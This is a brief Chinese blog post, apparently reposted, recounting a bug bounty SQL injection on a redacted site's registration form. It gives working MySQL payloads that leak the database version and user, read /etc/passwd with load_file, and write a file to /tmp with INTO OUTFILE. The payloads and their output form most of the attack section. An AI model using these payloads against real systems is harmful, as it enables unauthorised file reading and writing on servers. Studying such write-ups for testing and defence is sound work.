第十五篇:SQL注入读取、写入文件

栏目: 数据库 · 发布时间: 6年前

我像往常一样注册网站会员

第十五篇:SQL注入读取、写入文件

然后通过POST方法将表单信息发送到 https://www.blablabla.com/svc/*****/form_affiliate。

这里的email参数存在 SQL 注入漏洞

第十五篇:SQL注入读取、写入文件

于是我在请求框 [email=””]参数中插入SQL语句

' and 1=2 union all select concat_ws(0x3a,version(),user(),database())--+

第十五篇:SQL注入读取、写入文件

结果在响应窗口显示 “5.5.41-log:root@10.130.0.1:tp_cart”。

现在我尝试使用SQL命令来读取文件

' and 1=2 union all select load_file('/etc/passwd')--+

第十五篇:SQL注入读取、写入文件

接着尝试在/tmp目录写入文件

' and 1=2 union all select 'blablalba_bug_bounty_program' into outfile '/tmp/blablabla'--+

第十五篇:SQL注入读取、写入文件


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

深度学习

深度学习

[美]特伦斯·谢诺夫斯基(Terrence Sejnowski) / 姜悦兵 / 中信出版集团 / 2019-2 / 88

全球科技巨头纷纷拥抱深度学习,自动驾驶、AI医疗、语音识别、图像识别、智能翻译以及震惊世界的AlphaGo,背后都是深度学习在发挥神奇的作用。深度学习是人工智能从概念到繁荣得以实现的主流技术。经过深度学习训练的计算机,不再被动按照指令运转,而是像自然进化的生命那样,开始自主地从经验中学习。 本书作者特伦斯·谢诺夫斯基是全球人工智能十大科学家之一、深度学习先驱及奠基者,亲历了深度学习在20世纪......一起来看看 《深度学习》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

SHA 加密
SHA 加密

SHA 加密工具

html转js在线工具
html转js在线工具

html转js在线工具